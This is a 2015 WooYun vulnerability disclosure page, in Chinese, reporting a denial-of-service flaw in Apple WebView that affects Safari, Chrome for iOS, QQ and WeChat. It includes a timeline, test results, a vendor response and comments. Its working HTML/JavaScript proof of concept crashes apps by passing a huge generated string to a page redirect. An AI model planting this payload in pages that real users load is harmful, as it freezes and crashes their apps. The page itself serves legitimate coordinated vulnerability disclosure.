当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146717

漏洞标题：Apple MAC/IOS Webview拒绝服务漏洞(影响safari,chrome for IOS,QQ,微信等)

相关厂商：Apple

漏洞作者： 数据流

提交时间：2015-10-14 17:21

修复时间：2016-01-17 11:00

公开时间：2016-01-17 11:00

漏洞类型：拒绝服务

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-14： 细节已通知厂商并且等待厂商处理中
2015-10-19： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-13： 细节向核心白帽子及相关领域专家公开
2015-12-23： 细节向普通白帽子公开
2016-01-02： 细节向实习白帽子公开
2016-01-17： 细节向公众公开

简要描述：

由于apple基于safari的Webview没正确解析一些某些js,导致Crash,cpu飙升,基本覆盖所有IOS,OSX版本

详细说明：

apple webview 没正确处理循环中的replace,可使用了webview的应用崩溃

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<head>
<h1>Mac/IOS Webview DOS test by 数据流</h1><br>
<script>
function x(str,count){
    if(count==0) return '';
    var b = count.toString(2);
    var n = b.length;
    var s='';
    for(var i=0; i<n; i++){
        s+=s;
        if(b.charAt(i) == '1'){
            s+=str;
        }
    }
    return s;
}
  
function test()
{
var ree = x("a",333333333);
window.location.replace("http://" + ree);
}
  //test();
</script>
</head>
<body>
<a href="#" onclick=test()>Click_Me</a>
</body>
</html>


漏洞证明：

影响MAC上的safari和IOS上的所用使用webview的应用
IOS 6,7,8,9 均成功测试

以Chrome for IOS为例.. 另外QQ 微信等均可拒绝服务
当js代码运行时,实际应用已经假死,无法点击操作..当数秒后便会闪退.
MAC:
在MAC上的safari也会造成拒绝服务,假死,无响应,cpu使用率逐渐飙升.

1.png


2.png


i.jpg


修复方案：

版权声明：转载请注明来源 数据流@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-10-19 11:00

厂商回复：

仍然在测试确认中,待后续评估(1、是否为通用，需要多实例复现；2、评价机制与已有漏洞是否为重复漏洞)。 先打个分，后续再更新状态，不代表已经确认属实。

最新状态：

暂无

漏洞评价：

评价

  1. 2015-10-14 17:25 | AuGe ( 实习白帽子 | Rank:93 漏洞数:15 | I'm coming)

    前排留名

  2. 2015-10-14 17:36 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:322 | 国内信息安全任重而道远，还需要厂商和白帽...)

    66666

  3. 2015-10-15 09:33 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了，跪着也要...)

    牛逼

  4. 2015-10-16 11:42 | ba1ma0 ( 路人 | Rank:4 漏洞数:1 | 什么都不会..)

    牛逼

  5. 2015-10-19 11:36 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊，我们还有音乐)

    @cncert国家互联网应急中心 辛苦了 :-) 这洞我测试过确实通用,而且没有与其他漏洞重复的.

  6. 2015-10-19 14:11 | zzR 认证白帽子 ( 普通白帽子 | Rank:1394 漏洞数:123 | 收wb 1：5 无限量收 [平台担保])

    这个是不是访问乌云那个网站就直接崩掉的？之前众测测试app的时候我还厚颜无耻的提交过呢-0-

  7. 2015-10-19 14:34 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊，我们还有音乐)

    @zzR 肯定不是。都说了是没有人提出过的地方